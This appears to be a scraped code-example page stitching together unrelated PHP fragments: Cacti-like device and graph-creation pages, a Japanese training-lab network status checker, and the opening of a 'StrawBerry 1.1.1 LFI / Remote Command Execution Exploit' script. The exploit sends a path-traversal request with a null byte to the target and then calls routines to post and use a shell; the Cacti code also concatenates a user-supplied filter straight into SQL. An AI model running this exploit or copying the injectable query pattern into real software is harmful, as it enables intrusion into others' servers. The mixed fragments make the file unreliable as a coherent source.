                                $total_rows = db_fetch_cell("SELECT count(*) FROM host_snmp_cache WHERE host_id=" . $host["id"] . " and snmp_query_id=" . $snmp_query["id"] . " AND field_name='{$field_name}'");
                            }
                        }
                    }
                }
                if (!isset($total_rows)) {
                    $total_rows = 0;
                }
                $snmp_query_graphs = db_fetch_assoc("SELECT snmp_query_graph.id,snmp_query_graph.name FROM snmp_query_graph WHERE snmp_query_graph.snmp_query_id=" . $snmp_query["id"] . " ORDER BY snmp_query_graph.name");
                if (sizeof($snmp_query_graphs) > 0) {
                    foreach ($snmp_query_graphs as $snmp_query_graph) {
                        $created_graphs = db_fetch_assoc("SELECT DISTINCT\r\n\t\t\t\t\t\tdata_local.snmp_index\r\n\t\t\t\t\t\tFROM (data_local,data_template_data)\r\n\t\t\t\t\t\tLEFT JOIN data_input_data ON (data_template_data.id=data_input_data.data_template_data_id)\r\n\t\t\t\t\t\tLEFT JOIN data_input_fields ON (data_input_data.data_input_field_id=data_input_fields.id)\r\n\t\t\t\t\t\tWHERE data_local.id=data_template_data.local_data_id\r\n\t\t\t\t\t\tAND data_input_fields.type_code='output_type'\r\n\t\t\t\t\t\tAND data_input_data.value='" . $snmp_query_graph["id"] . "'\r\n\t\t\t\t\t\tAND data_local.host_id=" . $host["id"]);
                        $script .= "created_graphs[" . $snmp_query_graph["id"] . "] = new Array(";
                        $cg_ctr = 0;
                        if (sizeof($created_graphs) > 0) {
                            foreach ($created_graphs as $created_graph) {
                                $script .= ($cg_ctr > 0 ? "," : "") . "'" . encode_data_query_index($created_graph["snmp_index"]) . "'";
                                $cg_ctr++;
                            }
                        }
                        $script .= ")\n";
                    }
                }
                print "\t<table width='100%' style='background-color: #" . $colors["form_alternate2"] . "; border: 1px solid #" . $colors["header"] . ";' align='center' cellpadding='3' cellspacing='0'>\n\r\n\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t<td bgcolor='#" . $colors["header"] . "' colspan='" . ($num_input_fields + 1) . "'>\r\n\t\t\t\t\t\t\t<table  cellspacing='0' cellpadding='0' width='100%' >\r\n\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t<td class='textHeaderDark'>\r\n\t\t\t\t\t\t\t\t\t\t<strong>Data Query</strong> [" . $snmp_query["name"] . "]\r\n\t\t\t\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t\t\t\t<td align='right' nowrap>\r\n\t\t\t\t\t\t\t\t\t\t<a href='" . htmlspecialchars("graphs_new.php?action=query_reload&id=" . $snmp_query["id"] . "&host_id=" . $host["id"]) . "'><img src='images/reload_icon_small.gif' title='Reload Associated Query' alt='' border='0' align='middle'></a>\r\n\t\t\t\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t</table>\r\n\t\t\t\t\t\t</td>\r\n\t\t\t\t\t</tr>";
                if ($xml_array != false) {
                    $html_dq_header = "";
                    $snmp_query_indexes = array();
                    reset($xml_array["fields"]);
                    /* if there is a where clause, get the matching snmp_indexes */
                    $sql_where = "";
                    if (strlen($_REQUEST["filter"])) {
                        $sql_where = "";
                        $indexes = db_fetch_assoc("SELECT DISTINCT snmp_index\r\n\t\t\t\t\t\tFROM host_snmp_cache\r\n\t\t\t\t\t\tWHERE field_value LIKE '%%" . $_REQUEST["filter"] . "%%'\r\n\t\t\t\t\t\tAND snmp_query_id=" . $snmp_query["id"] . "\r\n\t\t\t\t\t\tAND host_id=" . $host["id"]);
                        if (sizeof($indexes)) {
                            foreach ($indexes as $index) {
                                if (strlen($sql_where)) {
                                    $sql_where .= ", '" . $index["snmp_index"] . "'";
                                } else {
                                    $sql_where .= " AND snmp_index IN('" . $index["snmp_index"] . "'";
                                }
                            }
                            $sql_where .= ")";
                        }
                    }
                    if (strlen($_REQUEST["filter"]) == 0 || strlen($_REQUEST["filter"]) && sizeof($indexes)) {
                        /* determine the sort order */
                        if (isset($xml_array["index_order_type"])) {
                            if ($xml_array["index_order_type"] == "numeric") {
                                $sql_order = "ORDER BY CAST(snmp_index AS unsigned)";
                            } else {
                                if ($xml_array["index_order_type"] == "alphabetic") {
                                    $sql_order = "ORDER BY snmp_index";
                                } else {
                                    if ($xml_array["index_order_type"] == "natural") {
                                        $sql_order = "ORDER BY INET_ATON(snmp_index)";
                                    } else {
                                        $sql_order = "";
                                    }
                                }
                            }
                        } else {
                            $sql_order = "";
                        }
                        /* get the unique field values from the database */
                        $field_names = db_fetch_assoc("SELECT DISTINCT field_name\r\n\t\t\t\t\t\tFROM host_snmp_cache\r\n\t\t\t\t\t\tWHERE host_id=" . $host["id"] . "\r\n\t\t\t\t\t\tAND snmp_query_id=" . $snmp_query["id"]);
                        /* build magic query */
                        $sql_query = "SELECT host_id, snmp_query_id, snmp_index";
                        $num_visible_fields = sizeof($field_names);
                        $i = 0;
                        if (sizeof($field_names) > 0) {
                            foreach ($field_names as $column) {
                                $field_name = $column["field_name"];
                                $sql_query .= ", MAX(CASE WHEN field_name='{$field_name}' THEN field_value ELSE NULL END) AS '{$field_name}'";
                                $i++;
                            }
                        }
                        $sql_query .= " FROM host_snmp_cache\r\n\t\t\t\t\t\tWHERE host_id=" . $host["id"] . "\r\n\t\t\t\t\t\tAND snmp_query_id=" . $snmp_query["id"] . "\r\n\t\t\t\t\t\t{$sql_where}\r\n\t\t\t\t\t\tGROUP BY host_id, snmp_query_id, snmp_index\r\n\t\t\t\t\t\t{$sql_order}\r\n\t\t\t\t\t\tLIMIT " . $row_limit * ($page - 1) . "," . $row_limit;
                        $rows_query = "SELECT host_id, snmp_query_id, snmp_index\r\n\t\t\t\t\t\tFROM host_snmp_cache\r\n\t\t\t\t\t\tWHERE host_id=" . $host["id"] . "\r\n\t\t\t\t\t\tAND snmp_query_id=" . $snmp_query["id"] . "\r\n\t\t\t\t\t\t{$sql_where}\r\n\t\t\t\t\t\tGROUP BY host_id, snmp_query_id, snmp_index";
                        $snmp_query_indexes = db_fetch_assoc($sql_query);
                        $total_rows = sizeof(db_fetch_assoc($rows_query));
                        if (($page - 1) * $row_limit > $total_rows) {
                            $page = 1;
                            $_REQUEST["page" . $query["id"]] = $page;
                            load_current_session_value("page" . $query["id"], "sess_graphs_new_page" . $query["id"], "1");
                        }
                        if ($total_rows > $row_limit) {
                            /* generate page list */
                            $url_page_select = get_page_list($page, MAX_DISPLAY_PAGES, $row_limit, $total_rows, "graphs_new.php?", "page" . $snmp_query["id"]);
                            $nav = "<tr bgcolor='#" . $colors["header"] . "' class='noprint'>\r\n\t\t\t\t\t\t\t\t\t<td colspan='15'>\r\n\t\t\t\t\t\t\t\t\t\t<table width='100%' cellspacing='0' cellpadding='0' border='0'>\r\n\t\t\t\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t<td align='left' class='textHeaderDark'>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t<strong>&lt;&lt; ";
                            if ($page > 1) {
                                $nav .= "<a class='linkOverDark' href='" . htmlspecialchars("graphs_new.php?page" . $snmp_query["id"] . "=" . ($page - 1)) . "'>";
                            }
                            $nav .= "Previous";
                            if ($page > 1) {
                                $nav .= "</a>";
                            }
                            $nav .= "</strong>\r\n\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\r\n\t\t\t\t\t\t\t\t\t\t\t\t<td align='center' class='textHeaderDark'>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\tShowing Rows " . ($row_limit * ($page - 1) + 1) . " to " . ($total_rows < $row_limit || $total_rows < $row_limit * $page ? $total_rows : $row_limit * $page) . " of {$total_rows} [{$url_page_select}]\r\n\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\r\n\t\t\t\t\t\t\t\t\t\t\t\t<td align='right' class='textHeaderDark'>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t<strong>";
                            if ($page * $row_limit < $total_rows) {
                                $nav .= "<a class='linkOverDark' href='" . htmlspecialchars("graphs_new.php?page" . $snmp_query["id"] . "=" . ($page + 1)) . "'>";
                            }
                            $nav .= "Next";
                            if ($page * $row_limit < $total_rows) {
                                $nav .= "</a>";
                            }
                            $nav .= " &gt;&gt;</strong>\r\n\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\r\n\t\t\t\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t\t\t</table>\r\n\t\t\t\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t\t\t</tr>\n";
                            print $nav;
                        }
                        while (list($field_name, $field_array) = each($xml_array["fields"])) {
                            if ($field_array["direction"] == "input" && sizeof($field_names)) {
                                foreach ($field_names as $row) {
                                    if ($row["field_name"] == $field_name) {
                                        $html_dq_header .= "<td style='height:1px;'><strong><font color='#" . $colors["header_text"] . "'>" . $field_array["name"] . "</font></strong></td>\n";
                                        break;
                                    }
                                }
                            }
                        }
                        if (!sizeof($snmp_query_indexes)) {
                            print "<tr bgcolor='#" . $colors["form_alternate1"] . "'><td>This data query returned 0 rows, perhaps there was a problem executing this\r\n\t\t\t\t\t\t\tdata query. You can <a href='" . htmlspecialchars("host.php?action=query_verbose&id=" . $snmp_query["id"] . "&host_id=" . $host["id"]) . "'>run this data\r\n\t\t\t\t\t\t\tquery in debug mode</a> to get more information.</td></tr>\n";
                        } else {
                            print "\t<tr bgcolor='#" . $colors["header_panel"] . "'>\r\n\t\t\t\t\t\t\t\t{$html_dq_header}\r\n\t\t\t\t\t\t\t\t<td width='1%' align='center' bgcolor='#819bc0' style='" . get_checkbox_style() . "'><input type='checkbox' style='margin: 0px;' name='all_" . $snmp_query["id"] . "' title='Select All' onClick='SelectAll(\"sg_" . $snmp_query["id"] . "\",this.checked);dq_update_selection_indicators();'></td>\n\r\n\t\t\t\t\t\t\t</tr>\n";
                        }
                        $row_counter = 0;
                        $column_counter = 0;
                        $fields = array_rekey($field_names, "field_name", "field_name");
                        if (sizeof($snmp_query_indexes) > 0) {
                            foreach ($snmp_query_indexes as $row) {
                                $query_row = $snmp_query["id"] . "_" . encode_data_query_index($row["snmp_index"]);
                                print "<tr id='line{$query_row}' bgcolor='#" . ($row_counter % 2 == 0 ? "ffffff" : $colors["light"]) . "'>";
                                $i++;
                                $column_counter = 0;
                                reset($xml_array["fields"]);
                                while (list($field_name, $field_array) = each($xml_array["fields"])) {
                                    if ($field_array["direction"] == "input") {
                                        if (in_array($field_name, $fields)) {
                                            if (isset($row[$field_name])) {
                                                print "<td onClick='dq_select_line(" . $snmp_query["id"] . ",\"" . encode_data_query_index($row["snmp_index"]) . "\");'><span id='text{$query_row}" . "_" . $column_counter . "'>" . (strlen($_REQUEST["filter"]) ? preg_replace("/(" . preg_quote($_REQUEST["filter"]) . ")/i", "<span style='background-color: #F8D93D;'>\\1</span>", $row[$field_name]) : $row[$field_name]) . "</span></td>";
                                            } else {
                                                print "<td onClick='dq_select_line(" . $snmp_query["id"] . ",\"" . encode_data_query_index($row["snmp_index"]) . "\");'><span id='text{$query_row}" . "_" . $column_counter . "'></span></td>";
                                            }
                                            $column_counter++;
                                        }
                                    }
                                }
                                print "<td align='right'>";
                                print "<input type='checkbox' name='sg_{$query_row}' id='sg_{$query_row}' onClick='dq_update_selection_indicators();'>";
                                print "</td>";
                                print "</tr>\n";
                                $row_counter++;
                            }
                        }
                        if ($total_rows > $row_limit) {
                            print $nav;
                        }
                    } else {
                        print "<tr bgcolor='#" . $colors["form_alternate1"] . "'><td colspan='2' style='color: red; font-size: 12px; font-weight: bold;'>Search Returned no Rows.</td></tr>\n";
                    }
                } else {
                    print "<tr bgcolor='#" . $colors["form_alternate1"] . "'><td colspan='2' style='color: red; font-size: 12px; font-weight: bold;'>Error in data query.</td></tr>\n";
                }
                print "</table>";
                /* draw the graph template drop down here */
                $data_query_graphs = db_fetch_assoc("select snmp_query_graph.id,snmp_query_graph.name from snmp_query_graph where snmp_query_graph.snmp_query_id=" . $snmp_query["id"] . " order by snmp_query_graph.name");
                if (sizeof($data_query_graphs) == 1) {
                    echo "<input type='hidden' id='sgg_" . $snmp_query["id"] . "' name='sgg_" . $snmp_query["id"] . "' value='" . $data_query_graphs[0]["id"] . "'>\n";
                } elseif (sizeof($data_query_graphs) > 1) {
                    print "\t<table align='center' width='100%'>\r\n\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t<td width='1' valign='top'>\r\n\t\t\t\t\t\t\t\t<img src='images/arrow.gif' alt=''>&nbsp;\r\n\t\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t\t<td align='right'>\r\n\t\t\t\t\t\t\t\t<span style='font-size: 12px; font-style: italic;'>Select a graph type:</span>&nbsp;\r\n\t\t\t\t\t\t\t\t<select name='sgg_" . $snmp_query["id"] . "' id='sgg_" . $snmp_query["id"] . "' onChange='dq_update_deps(" . $snmp_query["id"] . "," . (isset($column_counter) ? $column_counter : "") . ");'>\r\n\t\t\t\t\t\t\t\t\t";
                    html_create_list($data_query_graphs, "name", "id", "0");
                    print "\r\n\t\t\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t</table>";
                }
                print "<br>";
                $script .= "dq_update_deps(" . $snmp_query["id"] . "," . $num_visible_fields . ");\n";
            }
        }
    }
    if (strlen($script)) {
        $script .= "</script>\n";
        print $script;
    }
    form_hidden_box("save_component_graph", "1", "");
    form_hidden_box("host_id", $host["id"], "0");
    form_hidden_box("host_template_id", $host["host_template_id"], "0");
    if (isset($_SERVER["HTTP_REFERER"]) && !substr_count($_SERVER["HTTP_REFERER"], "graphs_new")) {
        $_REQUEST["returnto"] = basename($_SERVER["HTTP_REFERER"]);
    }
    load_current_session_value("returnto", "sess_graphs_new_returnto", "");
    /* modify for multi user start */
    if (check_resource_count(RESOURCE_GRAPH) && check_resource_count(RESOURCE_DATA)) {
        form_save_button($_REQUEST["returnto"]);
    }
    /* modify for multi user end */
    print "<script type='text/javascript'>dq_update_selection_indicators();</script>\n";
    print "<script type='text/javascript'>gt_update_selection_indicators();</script>\n";
}
Esempio n. 7
0
if ($argc != 3) {
    print "\no-------------------------------------------------------------o\n";
    print "\r|   StrawBerry 1.1.1 LFI / Remote Command Execution Exploit   |\n";
    print "\r|           Site: http://strawberry.goodgirl.ru/              |\n";
    print "\ro-------------------------------------------------------------o\n";
    print "\r| Author: [AVT]                                               |\n";
    print "\r| My Site: http://antichat.ru/                                |\n";
    print "\ro-------------------------------------------------------------o\n";
    print "\r| Usage:   php expl.php [host] [path]                         |\n";
    print "\r| host     localhost                                          |\n";
    print "\r| path     /news/                                             |\n";
    print "\r| Example: php expl.php site.com /news/                       |\n";
    print "\ro-------------------------------------------------------------o\n";
    exit;
}
if (check_host()) {
    post_shell();
}
use_shell();
function check_host()
{
    global $host, $path;
    $data = "GET {$path}example/index.php?do=../../../../db/base/ipban.MYD%00 HTTP/1.1\r\n";
    $data .= "Host: {$host}\r\n";
    $data .= "Connection: close\r\n\r\n";
    $html = send($host, $data);
    if (!stristr($html, 'a:')) {
        print "\ro-------------------------------------------------------------o\n";
        print "\r| Exploit Failed!                                             |\n";
        print "\ro-------------------------------------------------------------o\n";
        exit;
Esempio n. 8
0
{
    global $port;
    foreach ($host["check"] as $check) {
        $prot[$check] = $port[$check];
    }
    return $prot;
}
//-----------------------------------------
//    スタート
//-----------------------------------------
for ($key = 1; $key <= $user_count; $key++) {
    //DCのサーバー
    $host1[1]["ip"] = "210.1." . $key . ".11";
    $host1[2]["ip"] = "210.1." . $key . ".20";
    $dns_solve = sprintf("www.netad%02d.it.jp", $key);
    check_host($host1, $dns_solve, $key);
    $html_line .= "<tr>\n";
    $html_line .= "<td align=\"center\">" . $key . ":" . $user[$key]["name"] . "<br>(" . $user[$key]["num"] . ")</td><td align=\"center\">" . $host1[1]["value"]["ping"] . "</td><td align=\"center\">" . $host1[1]["value"]["http"] . "</td><td align=\"center\">" . $host1[1]["value"]["https"] . "</td><td align=\"center\">" . $host1[1]["value"]["smtp"] . "</td><td align=\"center\">" . $host1[1]["value"]["dns"] . "</td><td>" . $host1[2]["value"]["ping"] . "</td><td align=\"center\">" . $host1[2]["value"]["smtp"] . "</td><td align=\"center\">" . $host1[2]["value"]["dns"] . "</td>\n";
    $html_line .= "</tr>\n";
}
// 全体のHTMLを生成する
$html = "<html>\n<head><meta charset=\"UTF-8\">\n<meta http-equiv=\"Refresh\" content=\"10\">\n<style>table{\n margin-right : auto;\n margin-left : auto\n}\n</style>\n</head>\n<body>\n";
$date = date('H時i分s秒');
$html .= $date . "現在の状況<br>※ネットワーク越しに行う、簡易な状況確認で、進捗具合の目安となります。<br>基本動作が確認できると赤から緑に変わります。<br><br>";
$html .= "<table border=1>\n";
$html .= "<tr><td rowspan=2 align=\"center\">席番号</td><td colspan=5 align=\"center\">データセンター</td><td colspan=3 align=\"center\">本部</td></tr>\n";
$html .= "<tr><td>Ping</td><td>Web(HTTP)</td><td>Web(HTTPS)</td><td>メール</td><td>DNS</td><td>Ping</td><td>メール</td><td>DNS</td></tr>\n";
$html .= $html_line;
$html .= "</body></html>";
echo $html;
$file = 'index.html';
Esempio n. 9
0
function host_edit()
{
    global $colors, $fields_host_edit, $reindex_types;
    /* ================= input validation ================= */
    input_validate_input_number(get_request_var("id"));
    /* ==================================================== */
    /* modify for multi user start */
    if (!check_host($_GET["id"])) {
        $_GET["id"] = "";
    }
    /* modify for multi user end */
    api_plugin_hook('host_edit_top');
    if (!empty($_GET["id"])) {
        $host = db_fetch_row("select * from host where id=" . $_GET["id"]);
        $header_label = "[edit: " . htmlspecialchars($host["description"]) . "]";
    } else {
        $header_label = "[new]";
    }
    if (!empty($host["id"])) {
        ?>
		<table width="100%" align="center">
			<tr>
				<td class="textInfo" colspan="2">
					<?php 
        print htmlspecialchars($host["description"]);
        ?>
 (<?php 
        print htmlspecialchars($host["hostname"]);
        ?>
)
				</td>
			</tr>
			<tr>
				<td class="textHeader">
				<?php 
        if ($host["availability_method"] == AVAIL_SNMP || $host["availability_method"] == AVAIL_SNMP_GET_NEXT || $host["availability_method"] == AVAIL_SNMP_GET_SYSDESC || $host["availability_method"] == AVAIL_SNMP_AND_PING || $host["availability_method"] == AVAIL_SNMP_OR_PING) {
            ?>
					SNMP Information<br>

					<span style="font-size: 10px; font-weight: normal; font-family: monospace;">
					<?php 
            if ($host["snmp_community"] == "" && $host["snmp_username"] == "" || $host["snmp_version"] == 0) {
                print "<span style='color: #ab3f1e; font-weight: bold;'>SNMP not in use</span>\n";
            } else {
                $snmp_system = cacti_snmp_get($host["hostname"], $host["snmp_community"], ".1.3.6.1.2.1.1.1.0", $host["snmp_version"], $host["snmp_username"], $host["snmp_password"], $host["snmp_auth_protocol"], $host["snmp_priv_passphrase"], $host["snmp_priv_protocol"], $host["snmp_context"], $host["snmp_port"], $host["snmp_timeout"], read_config_option("snmp_retries"), SNMP_WEBUI);
                /* modify for some system descriptions */
                /* 0000937: System output in host.php poor for Alcatel */
                if (substr_count($snmp_system, "00:")) {
                    $snmp_system = str_replace("00:", "", $snmp_system);
                    $snmp_system = str_replace(":", " ", $snmp_system);
                }
                if ($snmp_system == "") {
                    print "<span style='color: #ff0000; font-weight: bold;'>SNMP error</span>\n";
                } else {
                    $snmp_uptime = cacti_snmp_get($host["hostname"], $host["snmp_community"], ".1.3.6.1.2.1.1.3.0", $host["snmp_version"], $host["snmp_username"], $host["snmp_password"], $host["snmp_auth_protocol"], $host["snmp_priv_passphrase"], $host["snmp_priv_protocol"], $host["snmp_context"], $host["snmp_port"], $host["snmp_timeout"], read_config_option("snmp_retries"), SNMP_WEBUI);
                    $snmp_hostname = cacti_snmp_get($host["hostname"], $host["snmp_community"], ".1.3.6.1.2.1.1.5.0", $host["snmp_version"], $host["snmp_username"], $host["snmp_password"], $host["snmp_auth_protocol"], $host["snmp_priv_passphrase"], $host["snmp_priv_protocol"], $host["snmp_context"], $host["snmp_port"], $host["snmp_timeout"], read_config_option("snmp_retries"), SNMP_WEBUI);
                    $snmp_location = cacti_snmp_get($host["hostname"], $host["snmp_community"], ".1.3.6.1.2.1.1.6.0", $host["snmp_version"], $host["snmp_username"], $host["snmp_password"], $host["snmp_auth_protocol"], $host["snmp_priv_passphrase"], $host["snmp_priv_protocol"], $host["snmp_context"], $host["snmp_port"], $host["snmp_timeout"], read_config_option("snmp_retries"), SNMP_WEBUI);
                    $snmp_contact = cacti_snmp_get($host["hostname"], $host["snmp_community"], ".1.3.6.1.2.1.1.4.0", $host["snmp_version"], $host["snmp_username"], $host["snmp_password"], $host["snmp_auth_protocol"], $host["snmp_priv_passphrase"], $host["snmp_priv_protocol"], $host["snmp_context"], $host["snmp_port"], $host["snmp_timeout"], read_config_option("snmp_retries"), SNMP_WEBUI);
                    print "<strong>System:</strong>" . html_split_string($snmp_system) . "<br>\n";
                    $days = intval($snmp_uptime / (60 * 60 * 24 * 100));
                    $remainder = $snmp_uptime % (60 * 60 * 24 * 100);
                    $hours = intval($remainder / (60 * 60 * 100));
                    $remainder = $remainder % (60 * 60 * 100);
                    $minutes = intval($remainder / (60 * 100));
                    print "<strong>Uptime:</strong> {$snmp_uptime}";
                    print "&nbsp;({$days} days, {$hours} hours, {$minutes} minutes)<br>\n";
                    print "<strong>Hostname:</strong> {$snmp_hostname}<br>\n";
                    print "<strong>Location:</strong> {$snmp_location}<br>\n";
                    print "<strong>Contact:</strong> {$snmp_contact}<br>\n";
                }
            }
            ?>
					</span>
				<?php 
        }
        if ($host["availability_method"] == AVAIL_PING || $host["availability_method"] == AVAIL_SNMP_AND_PING || $host["availability_method"] == AVAIL_SNMP_OR_PING) {
            /* create new ping socket for host pinging */
            $ping = new Net_Ping();
            $ping->host = $host;
            $ping->port = $host["ping_port"];
            /* perform the appropriate ping check of the host */
            if ($ping->ping($host["availability_method"], $host["ping_method"], $host["ping_timeout"], $host["ping_retries"])) {
                $host_down = false;
                $color = "#000000";
            } else {
                $host_down = true;
                $color = "#ff0000";
            }
            ?>
					<br>Ping Results<br>
					<span style="font-size: 10px; font-weight: normal; color: <?php 
            print $color;
            ?>
; font-family: monospace;">
					<?php 
            print $ping->ping_response;
            ?>
					</span>
				<?php 
        } else {
            if ($host["availability_method"] == AVAIL_NONE) {
                ?>
					No Availability Check In Use<br>
				<?php 
            }
        }
        ?>
				</td>
				<td class="textInfo" valign="top">
					<span style="color: #c16921;">*</span><a href="<?php 
        print htmlspecialchars("graphs_new.php?host_id=" . $host["id"]);
        ?>
">Create Graphs for this Host</a><br>
					<span style="color: #c16921;">*</span><a href="<?php 
        print htmlspecialchars("data_sources.php?host_id=" . $host["id"] . "&ds_rows=30&filter=&template_id=-1&method_id=-1&page=1");
        ?>
">Data Source List</a><br>
					<span style="color: #c16921;">*</span><a href="<?php 
        print htmlspecialchars("graphs.php?host_id=" . $host["id"] . "&graph_rows=30&filter=&template_id=-1&page=1");
        ?>
">Graph List</a>
					<?php 
        api_plugin_hook('device_edit_top_links');
        ?>
				</td>
			</tr>
		</table>
		<?php 
    }
    html_start_box("<strong>Devices</strong> {$header_label}", "100%", $colors["header"], "3", "center", "");
    /* preserve the host template id if passed in via a GET variable */
    if (!empty($_GET["host_template_id"])) {
        $fields_host_edit["host_template_id"]["value"] = $_GET["host_template_id"];
    }
    /* modify for multi user start */
    if ($_SESSION["permission"] < ACCESS_ADMINISTRATOR) {
        $fields_host_edit["device_threads"]["method"] = "hidden";
        $fields_host_edit["ping_timeout"]["method"] = "hidden";
        $fields_host_edit["ping_retries"]["method"] = "hidden";
        $fields_host_edit["snmp_timeout"]["method"] = "hidden";
        $fields_host_edit["max_oids"]["method"] = "hidden";
        $fields_host_edit["host_template_id"]["sql"] = "SELECT id,name FROM host_template WHERE name NOT LIKE '%@system' ORDER BY name";
    }
    if ($_SESSION["permission"] < ACCESS_PREMIUM_USER) {
        if ($fields_host_edit["thold_send_email"]) {
            $fields_host_edit["thold_send_email"]["method"] = "hidden";
        }
    }
    if ($host["disabled"] === "ps") {
        $fields_host_edit["disabled"]["method"] = "";
    }
    /* modify for multi user end */
    draw_edit_form(array("config" => array("form_name" => "chk"), "fields" => inject_form_variables($fields_host_edit, isset($host) ? $host : array())));
    /* we have to hide this button to make a form change in the main form trigger the correct
     * submit action */
    echo "<div style='display:none;'><input type='submit' value='Default Submit Button'></div>";
    html_end_box();
    ?>
	<script type="text/javascript">
	<!--

	// default snmp information
	var snmp_community       = document.getElementById('snmp_community').value;
	var snmp_username        = document.getElementById('snmp_username').value;
	var snmp_password        = document.getElementById('snmp_password').value;
	var snmp_auth_protocol   = document.getElementById('snmp_auth_protocol').value;
	var snmp_priv_passphrase = document.getElementById('snmp_priv_passphrase').value;
	var snmp_priv_protocol   = document.getElementById('snmp_priv_protocol').value;
	var snmp_context         = document.getElementById('snmp_context').value;
	var snmp_port            = document.getElementById('snmp_port').value;
	var snmp_timeout         = document.getElementById('snmp_timeout').value;
	var max_oids             = document.getElementById('max_oids').value;

	// default ping methods
	var ping_method    = document.getElementById('ping_method').value;
	var ping_port      = document.getElementById('ping_port').value;
	var ping_timeout   = document.getElementById('ping_timeout').value;
	var ping_retries   = document.getElementById('ping_retries').value;

	var availability_methods = document.getElementById('availability_method').options;
	var num_methods          = document.getElementById('availability_method').length;
	var selectedIndex        = document.getElementById('availability_method').selectedIndex;

	var agent = navigator.userAgent;
	agent = agent.match("MSIE");

	function setPingVisibility() {
		availability_method = document.getElementById('availability_method').value;
		ping_method         = document.getElementById('ping_method').value;

		/* debugging, uncomment as required */
		//alert("The availability method is '" + availability_method + "'");
		//alert("The ping method is '" + ping_method + "'");

		switch(availability_method) {
		case "0": // none
			document.getElementById('row_ping_method').style.display  = "none";
			document.getElementById('row_ping_port').style.display    = "none";
            if (document.getElementById('row_ping_timeout')) {
			document.getElementById('row_ping_timeout').style.display = "none";
			document.getElementById('row_ping_retries').style.display = "none";
            }

			break;
		case "2": // snmp
		case "5": // snmp sysDesc
		case "6": // snmp getNext
			document.getElementById('row_ping_method').style.display  = "none";
			document.getElementById('row_ping_port').style.display    = "none";
            if (document.getElementById('row_ping_timeout')) {
			document.getElementById('row_ping_timeout').style.display = "";
			document.getElementById('row_ping_retries').style.display = "";
            }

			break;
		default: // ping ok
			switch(ping_method) {
			case "1": // ping icmp
				document.getElementById('row_ping_method').style.display  = "";
				document.getElementById('row_ping_port').style.display    = "none";
                if (document.getElementById('row_ping_timeout')) {
				document.getElementById('row_ping_timeout').style.display = "";
				document.getElementById('row_ping_retries').style.display = "";
                }

				break;
			case "2": // ping udp
			case "3": // ping tcp
				document.getElementById('row_ping_method').style.display  = "";
				document.getElementById('row_ping_port').style.display    = "";
                if (document.getElementById('row_ping_timeout')) {
				document.getElementById('row_ping_timeout').style.display = "";
				document.getElementById('row_ping_retries').style.display = "";
                }

				break;
			}

			break;
		}
	}

	function addSelectItem(item, formObj) {
		if (agent != "MSIE") {
			formObj.add(item,null); // standards compliant
		}else{
			formObj.add(item);      // IE only
		}
	}

	function setAvailability(type) {
		/* get the availability structure */
		var am=document.getElementById('availability_method');

		/* get current selectedIndex */
		selectedIndex = document.getElementById('availability_method').selectedIndex;

		/* debugging uncomment as required */
		//alert("The selectedIndex is '" + selectedIndex + "'");
		//alert("The array length is '" + am.length + "'");

		switch(type) {
		case "NoSNMP":
			/* remove snmp options */
			if (am.length == 7) {
				am.remove(1);
				am.remove(1);
				am.remove(1);
				am.remove(1);
				am.remove(1);
			}

			/* set the index to something valid, like "ping" */
			if (selectedIndex > 1) {
				am.selectedIndex=1;
			}

			break;
		case "All":
			/* restore all options */
			if (am.length == 2) {
				am.remove(0);
				am.remove(0);

				var a=document.createElement('option');
				var b=document.createElement('option');
				var c=document.createElement('option');
				var d=document.createElement('option');
				var e=document.createElement('option');
				var f=document.createElement('option');
				var g=document.createElement('option');

				a.value="0";
				a.text="None";
				addSelectItem(a,am);

				b.value="1";
				b.text="Ping and SNMP Uptime";
				addSelectItem(b,am);

				e.value="4";
				e.text="Ping or SNMP Uptime";
				addSelectItem(e,am);

				c.value="2";
				c.text="SNMP Uptime";
				addSelectItem(c,am);

				f.value="5";
				f.text="SNMP Desc";
				addSelectItem(f,am);

				g.value="6";
				g.text="SNMP getNext";
				addSelectItem(g,am);

				d.value="3";
				d.text="Ping";
				addSelectItem(d,am);

				/* restore the correct index number */
				if (selectedIndex == 0) {
					am.selectedIndex = 0;
				}else{
					am.selectedIndex = 3;
				}
			}

			break;
		}

		setAvailabilityVisibility(type, am.selectedIndex);
		setPingVisibility();
	}

	function setAvailabilityVisibility(type, selectedIndex) {
		switch(type) {
		case "NoSNMP":
			switch(selectedIndex) {
			case "0": // availability none
				document.getElementById('row_ping_method').style.display="none";
				document.getElementById('ping_method').value=0;

				break;
			case "1": // ping
				document.getElementById('row_ping_method').style.display="";
				document.getElementById('ping_method').value=ping_method;

				break;
			}
		case "All":
			switch(selectedIndex) {
			case "0": // availability none
				document.getElementById('row_ping_method').style.display="none";
				document.getElementById('ping_method').value=0;

				break;
			case "1": // ping and snmp sysUptime
			case "3": // ping
			case "4": // ping or snmp sysUptime
				if ((document.getElementById('row_ping_method').style.display == "none") ||
					(document.getElementById('row_ping_method').style.display == undefined)) {
					document.getElementById('ping_method').value=ping_method;
					document.getElementById('row_ping_method').style.display="";
				}

				break;
			case "2": // snmp sysUptime
			case "5": // snmp sysDesc
			case "6": // snmp getNext
				document.getElementById('row_ping_method').style.display="none";
				document.getElementById('ping_method').value="0";

				break;
			}
		}
	}

	function changeHostForm() {
		snmp_version        = document.getElementById('snmp_version').value;

		switch(snmp_version) {
		case "0":
			setAvailability("NoSNMP");
			setSNMP("None");

			break;
		case "1":
		case "2":
			setAvailability("All");
			setSNMP("v1v2");

			break;
		case "3":
			setAvailability("All");
